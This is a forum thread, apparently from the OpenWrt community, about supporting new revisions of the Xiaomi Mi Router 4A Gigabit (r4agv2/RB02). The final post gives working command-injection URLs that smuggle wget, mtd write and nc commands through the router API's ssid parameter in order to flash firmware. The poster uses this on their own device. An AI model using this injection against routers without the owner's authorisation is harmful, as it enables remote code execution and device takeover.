Adding OpenWrt support for new version of the Xiaomi mi router 4a gigabit (rb02/r4agv2)

There are two new revisions of Xiaomi mi router 4a gigabit:
1 - Chinian revision - r4agv2
2 - Global version - rb02

These two version has the same hardware (and pcb) - CPU MT7621DAT (or may be MT7621AT), WL1 MT7603EN, WL2 MT7613BEN, RAM 128Mb, SPI FLASH 16Mb.
Please find details by the link - https://wikidevi.wi-cat.ru/Xiaomi_Mi_Router_AC1200_(RB02)

The sample of the build patch of the OpenWrt 22.03.2, please see by link - https://github.com/Ser9ei/xiaomi-r4agv2-openwrt_patch

i'm confused they are the same device with different name?

... and not really a feature request, IMHO.

Not. R4agv2/RB02 revision has anoters gpio for leds and another wifi 5.8 chip - mt7613 (original revision, has mt7612, please see details by the link https://wikidevi.wi-cat.ru/Xiaomi_MiWiFi_4A)
And r4agv2 for china, just with china language
Rb02 - global edition, with multi-language interface support

Rb02 and r4agv2 has the same spi flash partitions. So it is possible to create just only one dts profile for these two new rb02/r4agv2 (as in the my sample) - “xiaomi mi router 4a gigabit v2”

Yep? it’s not really user friendly way to build openwrt for new router without dts

Just make it a dtsi and change the relevant part.

I am not sure, that it's possible without to change original "4a gigabit" profile. As for me a new dts is more simple and clear. But in any way, could you please make your sample how it's possible and looks. All technical information (partitions, leds gpio, etc) is present in the my sample.

one more difference, new revisions has anoters gpio for leds (i add this in the top)

I can already say that on submission we will probably ask to create a dtsi if everything is simple enough... Same CPU same partition table but only different wifi

And diff in the ‘leds’ part…

I've built OpenWrt for my r4agv2 with help patch from link and currently work ok.

1 Like

dose any one have openwrt version 22.03.3 for r4agv2?

This is how I installed OpenWrt on a Xiaomi Mi Router 4A Gigabit Edition v2 (firmware 2.30.500) after OpenWrtInvasion failed.
First, I downloaded the sysupgrade image. Then, in the folder in which I downloaded it, I ran python3 -m http.server.
Then, I ran nc -l -p 1234 on my host.
By visiting http://192.168.31.1/cgi-bin/luci/;stok=d529e208dfedd04800975a9720958dbe/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h wget%20http%3A%2F%2F192.168.31.255%3A8000%2Fopenwrt-23.05.3-ramips-mt7621-xiaomi_mi-router-4a-gigabit-v2-squashfs-sysupgrade.bin%20-O%20%2Ftmp%2Ffirmware.bin and http://192.168.31.1/cgi-bin/luci/;stok=d529e208dfedd04800975a9720958dbe/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h mtd%20-e%20OS1%20-r%20write%20%2Ftmp%2Ffirmware.bin%20OS1%202>%261%20|%20nc%20192.168.31.225%201234 I successfuly flashed the firmware.
Rembember to replace 192.168.31.225 with the IP of your PC.

This is a variation of https://github.com/acecilia/OpenWRTInvasion/issues/141#issuecomment-1368466917

1 Like